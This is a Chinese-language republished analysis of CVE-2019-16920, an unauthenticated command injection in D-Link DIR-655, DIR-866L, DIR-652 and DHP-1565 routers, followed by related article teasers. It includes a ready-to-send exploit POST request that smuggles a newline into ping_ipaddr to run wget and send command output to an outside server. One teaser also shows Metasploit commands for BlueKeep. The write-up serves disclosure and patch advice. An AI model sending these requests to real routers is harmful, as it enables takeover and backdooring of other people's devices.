CVE-2019-16920:D-link RCE漏洞

2021-02-25 嘶吼專業版

2019年9月,Fortinet FortiGuard實驗室發現並報告了D-Link 產品中的有個非認證的命令注入漏洞——CVE-2019-16920,成功利用該漏洞可以導致遠程代碼執行。因為該漏洞可以在不經過認證的情況下遠程觸發,因此研究人員將該漏洞評為中危。

受影響的產品包括D-Link的:

· DIR-655

· DIR-866L

· DIR-652

· DHP-1565

漏洞細節

該漏洞源於一個失敗的認證檢查。為了了解該問題,研究人員首先查看了admin頁面,然後執行了login動作。 

POST /apply_sec.cgi HTTP/1.1

Host: 192.168.232.128

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 142

Connection: close

Referer: http://192.168.232.128/

Upgrade-Insecure-Requests: 1

html_response_page=login_pic.asp&login_name=YWRtaW4%3D&log_pass=&action=do_graph_auth&login_n=admin&tmp_log_pass=&

graph_code=&session_id=62384

List 1: Login Request

登陸動作是通過URI /apply_sec.cgi完成的。快速檢索發現 apply_sec.cgi 代碼位於/www/cgi/ssi 的do_ssc (0x40a210)函數中。current_user 和 user_username的值是來源於nvram中的:

圖1:  do_ssc代碼段

然後函數會比較current_user和變量acStack160的值。

nvram中的current_user值只有成功登陸後才會設置,所以該值默認情況下是不初始化的。AcStack160的值是base64encode(user_username)的解果,所以默認情況下user_username會被設置為 「user」,所以iVar2不會返回0,也不會返回到error.asp 頁面。

 圖2:  do_ssc代碼段2

在do-while循環的代碼中,程序會調用函數put_querystring_env()來分析HTTP POST請求,並保存值到ENV中。然後函數會調用query_vars(「action」, acStack288, 0x80)

圖3: 函數query_vars 代碼段 

這就為action提供了值,會保存為ENV中的acStack288。如果一切順利的話,返回的值就是0。

變量 iVar2等於0後,就到了if條件。他會將URI的值與字符串「/apply_sec.cgi」進行比較。如果匹配超過, ppcVar3 就會指向SSC_SEC_OBJS數組,否則就指向SSC_OBJS數組。

圖4: do_ssc代碼段3

ppcVar3指向了 SSC_SEC_OBJS數組,這是action值list。如果我們輸入不在list中的值,程序就會返回LAB_0040a458,並報錯「No OBJS for action: <action input>」。

圖5: do_ssc中的錯誤輸出代碼段

可以在圖2中看到失敗的認證檢查。即使在沒有認證的情況下代碼也會執行,也就是說可以在/apply_sec.cgi路徑下的SSC_SEC_OBJS數組中執行任意動作。

SSC_SEC_OBJS action數組位於 init_plugin()函數的寄存器register中:

 圖6: init_plugin代碼段

下面查看地址0x0051d89c,並將其變量轉化為word類型,可以看到以下數組:

圖7: address 0x0051d89C

其中有有個action需要關注:

圖8: 字符串 ping_test和action 地址

然後到了 sub_41A010,該函數會從param ping_ipaddr中獲取值。並通過inet_aton(), inet_ntoa()函數轉化,然後執行ping:

圖9: sub_41A010代碼段

如果嘗試輸入特殊字符,比如雙引號、引號等,ping就會失敗。但是如果加入換行符,就可以執行命令注入:

POST /apply_sec.cgi HTTP/1.1

Host: 192.168.232.128

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:69.0) Gecko/20100101 Firefox/69.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: vi-VN,vi;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 131

Connection: close

Referer: http://192.168.232.128/login_pic.asp

Cookie: uid=1234123

Upgrade-Insecure-Requests: 1

html_response_page=login_pic.asp&action=ping_test&ping_ipaddr=127.0.0.1%0awget%20-P%20/tmp/%20http://45.76.148.31:4321/?$(echo 1234)

List 2: ping_test動作中的Exploit Request 

下面用action ping_test實現到apply_sec.cgi的POST HTTP請求。然後研究人員在ping_ipaddr中執行了命令注入。即使返回了login頁面,ping_test動作仍然執行了,ping_ipaddr的值會執行路由器伺服器的「echo 1234」命令,並返回結果到研究人員控制的伺服器。

 圖10: 成功的漏洞利用流量

攻擊者可以利用這種方式來提取admin密碼,安裝後門到伺服器中。

結論

該漏洞的根源在於沒有對原生系統命令執行的命令進行檢查,這也是許多固件廠商存在的安全問題。該漏洞CVE編號為CVE-2019-16920。研究人員建議受影響的D-Link用戶更新到最新的產品或固件。

註:本文參考自:fortinet.com

相關焦點

  • D-Link遠程代碼執行漏洞(CVE-2019-16920)漏洞分析
    背景:2019年9月,FortiGuard 實驗室發現並報告了D-Link 多款產品中含有未經 身份驗證的命令注入漏洞(FG-VD
  • IE RCE 0day及Defender DoS漏洞;2019年網絡攻擊人為因素報告;D-Link DNS-320 RCE漏洞
    【漏洞補丁】微軟緊急修復IE中的RCE 0day及Defender中的DoS漏洞研究人員披露D-Link DNS-320設備中的RCE漏洞【分析報告】Proofpoint發布《2019年網絡攻擊中的人為因素》分析報告【惡意軟體】新Mac惡意軟體GMERA.A偽裝成交易軟體竊取用戶信息【攻擊事件
  • D-Link路由器遠程代碼執行漏洞並且不會被修補
    文章來源:ZDNet研究人員公開披露了一系列D-Link路由器中存在嚴重的遠程執行代碼漏洞上周,Fortinet的FortiGuard Labs 表示,該問題的核心漏洞(CVE-2019-16920)於2019年9月被發現。 根據Fortinet研究人員Thanh Nguyen Nguyen的說法,未經身份驗證的命令注入漏洞會影響DIR-655,DIR-866L,DIR-652和DHP-1565產品系列中的D-Link固件。
  • 【漏洞預警】CVE-2019-0708微軟遠程桌面服務遠程代碼執行漏洞(BlueKeep)復現
    /modules/auxiliary/scanner/rdp/cve_2019_0708_bluekeep.rb啟動metasploit reload_all 重新加載所有漏洞利用模塊搜索cve-2019-0708漏洞利用模塊search cve_2019_0708
  • 漏洞分析|CVE-2019-0708遠程桌面高危漏洞分析
    微軟發布了最新的安全公告,修復了Windows遠程桌面服務的遠程代碼執行漏洞,該漏洞會影響大部分舊版本的windows系統,漏洞編號:CVE-2019-0708。漏洞復現Ubuntu ,kali下載ruby腳本編譯:git clone https://github.com/zerosum0x0/CVE-2019-0708.gitcd CVE-2019-0708/rdesktop-fork-bd6aa6acddf0ba640a49834807872f4cc0d0a773
  • D-Link路由器HNAP協議系列漏洞披露
    name=CVE-2019-7297CVE-2019-7298遠程命令注入HIGHhttps://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-7298CVE-2019-7388遠程信息洩露HIGHhttps://cve.mitre.org/cgi-bin/cvename.cgi?
  • CVE-2019-0708 漏洞分析及相關測試
    漏洞背景CVE-2019-0708 | 遠程桌面服務遠程執行代碼漏洞安全漏洞發布時間: 2019-05-14MITRE CVE-2019-0708當未經身份驗證的攻擊者使用 RDP 連接到目標系統並發送經特殊設計的請求時,遠程桌面服務(以前稱為「終端服務」)中存在遠程執行代碼漏洞。此漏洞是預身份驗證,無需用戶交互。
  • 關於這些年來Windows遠程代碼執行漏洞CVE
    CVE-2019-0708  CVE-2019-0708漏洞是通過檢查用戶的身份認證,導致可以繞過認證,不用任何的交互,直接通過rdp協議進行連接發送惡意代碼執行命令到伺服器中去。如果被攻擊者利用,會導致伺服器入侵,中病毒,像WannaCry 永恆之藍漏洞一樣大規模的感染。
  • D-Link service.cgi遠程命令執行漏洞分析
    相關文件和代碼連結[5]參考連結1.路由器漏洞挖掘之 DIR-850/645 命令執行漏洞復現[6]2.dlink_auth_rce[7]3.路由器漏洞復現分析第二彈:CNVD-2018-01084[8]文章首發於先知-D-Link service.cgi遠程命令執行漏洞分析[9]References[1] CNVD-2018-01084: https
  • Windows遠程桌面服務漏洞(CVE-2019-0708)復現測試
    漏洞描述2019年5月14日,微軟發布了針對遠程桌面服務的關鍵遠程執行代碼漏洞
  • D-Link DIR-859 RCE漏洞(CVE-2019-17621)分析復現
    三、漏洞分析對於漏洞分析,參考原文:https://blog.csdn.net/NOSEC2019/article/details/103823845根據紕漏,可知遠程代碼執行漏洞在UPnP請求的代碼中。1. UPnP協議棧UPnP是實現智能設備端到端網絡連接的結構。
  • Firefox緊急修復RCE 0day(CVE-2019-11707);TP-Link Wi-Fi中繼器RCE漏洞
    【漏洞補丁】Firefox緊急修復RCE 0day(CVE-2019-11707)TP-Link Wi-Fi中繼器RCE漏洞,影響多個型號【安全漏洞】Facebook WordPress插件兩個CSRF 0day,PoC已發布【數據洩露】求職平臺Talanton意外洩露近160萬僱主和求職者信息
  • 黑客如何利用Windows伺服器上的Bluekeep漏洞
    /cve_2019_0708_bluekeep_rce) > set RHOSTS 192.168.1.105msf5 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > set PAYLOAD windows/x64/meterpreter/reverse_tcpmsf5 exploit(windows/rdp/cve_2019_0708
  • Vulmap漏洞掃描工具
    & xxe, only rce is here | | Apache Solr | CVE-2019-0193 | Y | Y | < 8.2.0, dataimporthandler module remote code execution | | Apache Solr | CVE-2019-17558 | Y
  • 【技術交流】Laravel Debug mode RCE CVE-2021-3129
    RCE漏洞。 上述漏洞範圍中提到ignition插件中的多個solutions,這些solutions都是用來快速修復錯誤用的 該漏洞發布時間已經略久,已經有了很多利用腳本,配合這篇文章不再重複造輪子了,直接拿來@crisprss師傅的exp利用Github:https://github.com
  • 技術乾貨丨利用CVE–2017–8464 LNK 代碼執行漏洞可進行自動化U盤攻擊
    LNK文件的遠程代碼執行漏洞,CVE編號為:CVE-2017-8464。 rapid7在metasploit-framework項目中提交了關於該漏洞的exploit:https://github.com/rapid7/metasploit-framework/pull/8767https://github.com/rapid7/metasploit-framework/pull/8767/files/b669b9fb81efdec4f59177116ee9524d71527d37
  • 分析多款D-Link路由器中未經授權的RCE漏洞
    前言在2019年的九月份,網絡安全公司Fortinet旗下的FortiGuard Labs發現並報告了D-Link
  • CVE-2021-3129-Laravel Debug mode 遠程代碼執行漏洞
    CVE-2021-3129-Laravel Debug mode 遠程代碼執行漏洞一、漏洞簡介Laravel
  • 漏洞預警|Linux內核本地提權漏洞分析(CVE-2019-13272)
    監測發現Linux修復了一個本地內核提權漏洞,利用此漏洞,攻擊者可將普通用戶權限提升為Root權限。HSCERT研判此漏洞為嚴重漏洞,攻擊者拿到本地權限可以直接提權至root。漏洞分析當調用PTRACE_TRACEME時,ptrace_link()將獲得對父級目標憑據的RCU引用,然後把該指針指向
  • Windows本地提權漏洞分析(CVE-2019-1405及CVE-2019-1322)
    第一個漏洞(CVE-2019-1405)是COM服務中的一個邏輯錯誤,可以允許本地非特權用戶以LOCAL SERVICE用戶身份執行任意命令。第二個漏洞(CVE-2019-1322)屬於比較簡單的服務錯誤配置,允許本地SERVICE組中的任意用戶重新配置以SYSTEM權限運行的服務(其他研究者也獨立發現了這個漏洞)。